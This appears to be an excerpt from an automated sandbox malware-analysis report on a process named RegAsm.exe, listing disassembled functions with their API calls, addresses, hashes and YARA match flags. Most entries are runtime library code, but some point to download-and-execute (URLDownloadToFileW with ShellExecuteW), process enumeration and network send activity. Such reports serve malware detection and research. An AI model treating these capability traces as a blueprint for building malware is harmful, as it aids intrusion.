                      • Opcode Fuzzy Hash: d82b14c4b7eddcab2a525b8a5736e815382cccc6b286473e45e20a4a09cb7dcc
                      • Instruction Fuzzy Hash: 4D71C431900256ABEF21CF55C884AFFBBB5EF95350F14012BE812A72A1D7748CC1CBA9
                      Function 00444CFB Relevance: 7.7, APIs: 5, Instructions: 187COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • _free.LIBCMT ref: 00444E06
                      • _free.LIBCMT ref: 00444E1D
                      • _free.LIBCMT ref: 00444E3C
                      • _free.LIBCMT ref: 00444E57
                      • _free.LIBCMT ref: 00444E6E
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$AllocateHeap
                      • String ID:
                      • API String ID: 3033488037-0
                      • Opcode ID: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                      • Instruction ID: 75a60bec03265776b93b53542ea819fdab521e44af267d44e1f719a945e8e2e2
                      • Opcode Fuzzy Hash: 40f9e7cc2be6d4603e073625857eb528f872492eb2fa809e82d56bfb9c8f3841
                      • Instruction Fuzzy Hash: 5451D371A00704AFEB20DF6AC841B6673F4FF85729B14456EE819D7250E739EE01CB88
                      Function 00449365 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                      • _free.LIBCMT ref: 004493BD
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00449589
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                      • String ID:
                      • API String ID: 1286116820-0
                      • Opcode ID: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                      • Instruction ID: c95a83c4fc9d8f5f381c6ef12c4bd90d50aad01b0883e3b7d6e96279f2ead045
                      • Opcode Fuzzy Hash: 0a3c6fbe7e5a1f133d1032b40f823fca6b3dff27f0c0d46b4efcd8c71cfe77a6
                      • Instruction Fuzzy Hash: 71511A71904205EBEB14EFA9DD819AFB7BCEF44324F10066FE51493291EB788E42DB58
                      Function 0040F8FD Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                        • Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F91B
                      • Process32FirstW.KERNEL32(00000000,?), ref: 0040F93F
                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F94E
                      • CloseHandle.KERNEL32(00000000), ref: 0040FB05
                        • Part of subcall function 0041BFE5: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F5F9,00000000,?,?,00475338), ref: 0041BFFA
                        • Part of subcall function 0041BFE5: IsWow64Process.KERNEL32(00000000,?,?,?,00475338), ref: 0041C005
                        • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                        • Part of subcall function 0041C1DD: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FAF6
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$OpenProcess32$NextWow64$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                      • String ID:
                      • API String ID: 2180151492-0
                      • Opcode ID: 8b8cdfc602dbd14a3ce60d1437fbf9c616907d32c1791499aac7107a218dc19c
                      • Instruction ID: d179df5438ecf7187d550cf9263b6860c2801d48d571b2859f9d543a591e132f
                      • Opcode Fuzzy Hash: 8b8cdfc602dbd14a3ce60d1437fbf9c616907d32c1791499aac7107a218dc19c
                      • Instruction Fuzzy Hash: 784116311083419BC325F722DC55AEFB3A5AF94345F50493EF48A921E2EF385A49C75A
                      Function 00443DF9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free
                      • String ID:
                      • API String ID: 269201875-0
                      • Opcode ID: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                      • Instruction ID: 5dce3a056f7b38871bf3701478ebec2c01ef4ac0d1e4adeac0a27022f106ca0c
                      • Opcode Fuzzy Hash: f0d0e5395ad938097262dc5d88931f0578874cbbbca0d0094bbf983591b431c8
                      • Instruction Fuzzy Hash: 0741F536A012009FEB20DF78C881A5EB3F1EF89B14F2545AEE515EB341DB35AE01CB84
                      Function 0045112C Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01), ref: 00451179
                      • __alloca_probe_16.LIBCMT ref: 004511B1
                      • MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,0042DD01,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?), ref: 00451202
                      • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?,00000002,00000000), ref: 00451214
                      • __freea.LIBCMT ref: 0045121D
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                      • String ID:
                      • API String ID: 313313983-0
                      • Opcode ID: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                      • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                      • Opcode Fuzzy Hash: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                      • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                      Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                      Download Yara Rule
                      APIs
                      • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                      • _free.LIBCMT ref: 0044F3BF
                      • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                      • String ID:
                      • API String ID: 336800556-0
                      • Opcode ID: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                      • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                      • Opcode Fuzzy Hash: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                      • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                      Function 10007153 Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                      Download Yara Rule
                      APIs
                      • GetEnvironmentStringsW.KERNEL32 ref: 1000715C
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1000717F
                        • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 100071A5
                      • _free.LIBCMT ref: 100071B8
                      • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 100071C7
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                      • String ID:
                      • API String ID: 336800556-0
                      • Opcode ID: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                      • Instruction ID: fdf90bdbf822fabaf3dd9d310e80898d5fc59248e37e3ebe61ec6e18e74c85b1
                      • Opcode Fuzzy Hash: dbf9df5b4a4e45fd59d7b0ba6c08b1d97dee470f846bf8241c04808ce4e83989
                      • Instruction Fuzzy Hash: 6601D872A01225BB73129BBE5C8CDBF2A6DFBC69E0311012AFD0CC7288DB658C0181B0
                      Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044829E
                      • _free.LIBCMT ref: 004482D3
                      • _free.LIBCMT ref: 004482FA
                      • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448307
                      • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448310
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$_free
                      • String ID:
                      • API String ID: 3170660625-0
                      • Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                      • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                      • Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                      • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                      Function 10005B7A Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32(00000000,?,00000000,1000636D,10005713,00000000,?,10002249,?,?,10001D66,00000000,?,?,00000000), ref: 10005B7F
                      • _free.LIBCMT ref: 10005BB4
                      • _free.LIBCMT ref: 10005BDB
                      • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BE8
                      • SetLastError.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10005BF1
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLast$_free
                      • String ID:
                      • API String ID: 3170660625-0
                      • Opcode ID: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                      • Instruction ID: a404960836b3e2f032ab47abdd1028028b52a365ddf0c47563f665e512f3cffd
                      • Opcode Fuzzy Hash: 6445a1f563467e3e4669709244547b488691a64b9545451a4f80944232cffe94
                      • Instruction Fuzzy Hash: 5501F47A108A52A7F202E7345C85E1F3AAEDBC55F37220025FD19A615EEF73FD024164
                      Function 0041C1DD Relevance: 7.5, APIs: 5, Instructions: 48COMMON
                      Download Yara Rule
                      APIs
                      • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                      • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                      • GetProcessImageFileNameW.PSAPI(00000000,?,00000104,?,00000000,00000000,00000000), ref: 0041C228
                      • CloseHandle.KERNEL32(00000000), ref: 0041C233
                      • CloseHandle.KERNEL32(00000000), ref: 0041C23B
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseHandleOpen$FileImageName
                      • String ID:
                      • API String ID: 2951400881-0
                      • Opcode ID: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                      • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                      • Opcode Fuzzy Hash: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                      • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                      Function 10001E89 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrlenW.KERNEL32(?,?,?,?,?,100010DF,?,?,?,00000000), ref: 10001E9A
                      • lstrcatW.KERNEL32(?,?), ref: 10001EAC
                      • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EB3
                      • lstrlenW.KERNEL32(?,?,100010DF,?,?,?,00000000), ref: 10001EC8
                      • lstrcatW.KERNEL32(?,100010DF), ref: 10001ED3
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$lstrcat
                      • String ID:
                      • API String ID: 493641738-0
                      • Opcode ID: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                      • Instruction ID: f5d9027fafc921fe84ae6627056796c55de3fa1ad923a59450c5185d8ca5453c
                      • Opcode Fuzzy Hash: 15c5d9995ac510f09c0b88b7baf044722e7f40351600db373de5a6e0e33856fc
                      • Instruction Fuzzy Hash: D8F082261002207AF621772AECC5FBF7B7CEFC6AA0F04001AFA0C83194DB54684292B5
                      Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 004509D4
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 004509E6
                      • _free.LIBCMT ref: 004509F8
                      • _free.LIBCMT ref: 00450A0A
                      • _free.LIBCMT ref: 00450A1C
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                      • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
                      • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                      • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                      Function 100091B8 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 100091D0
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 100091E2
                      • _free.LIBCMT ref: 100091F4
                      • _free.LIBCMT ref: 10009206
                      • _free.LIBCMT ref: 10009218
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                      • Instruction ID: a08e021c65853776c99c3fd86fadada58ae96d962e635c5153d22f52a77de1c5
                      • Opcode Fuzzy Hash: 531e654f2f11120a5df636ecca0a5618a09e043c7f3cd6e1a71cca3ab3857efc
                      • Instruction Fuzzy Hash: 77F06DB161C650ABE664DB58EAC6C4B7BEDFB003E13608805FC4DD7549CB31FC809A64
                      Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 00444066
                        • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                        • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                      • _free.LIBCMT ref: 00444078
                      • _free.LIBCMT ref: 0044408B
                      • _free.LIBCMT ref: 0044409C
                      • _free.LIBCMT ref: 004440AD
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                      • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                      • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                      • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                      Function 10005351 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                      Download Yara Rule
                      APIs
                      • _free.LIBCMT ref: 1000536F
                        • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000), ref: 10005734
                        • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                      • _free.LIBCMT ref: 10005381
                      • _free.LIBCMT ref: 10005394
                      • _free.LIBCMT ref: 100053A5
                      • _free.LIBCMT ref: 100053B6
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _free$ErrorFreeHeapLast
                      • String ID:
                      • API String ID: 776569668-0
                      • Opcode ID: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                      • Instruction ID: ba906e9feca9bc6e71cd1aa5ebacb8f64a9f241ffe6b13fedf7f16c4e4854dfa
                      • Opcode Fuzzy Hash: 77e2762e1a20340d72e45a4044f221924c2ac7473818ed27067cb432955df604
                      • Instruction Fuzzy Hash: 38F0F478C18934EBF741DF28ADC140A3BB5F718A91342C15AFC1497279DB36D9429B84
                      Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                      Download Yara Rule
                      APIs
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
                      • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: DownloadExecuteFileShell
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$open
                      • API String ID: 2825088817-3056885514
                      • Opcode ID: e6f86af5c8f28e584e9aa2e4da9c084a58e6eb2186a389311ba90f2acb595750
                      • Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
                      • Opcode Fuzzy Hash: e6f86af5c8f28e584e9aa2e4da9c084a58e6eb2186a389311ba90f2acb595750
                      • Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B
                      Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                      Download Yara Rule
                      APIs
                      • _strpbrk.LIBCMT ref: 0044E738
                      • _free.LIBCMT ref: 0044E855
                        • Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD1B
                        • Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417,?,00405103), ref: 0043BD3D
                        • Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000,?,00405103), ref: 0043BD44
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                      • String ID: *?$.
                      • API String ID: 2812119850-3972193922
                      • Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                      • Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
                      • Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                      • Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54
                      Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                      Download Yara Rule
                      APIs
                      • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                        • Part of subcall function 004048C8: connect.WS2_32(FFFFFFFF,00D14950,00000010), ref: 004048E0
                        • Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041C52A
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateFileKeyboardLayoutNameconnectsend
                      • String ID: XQG$NG$PG
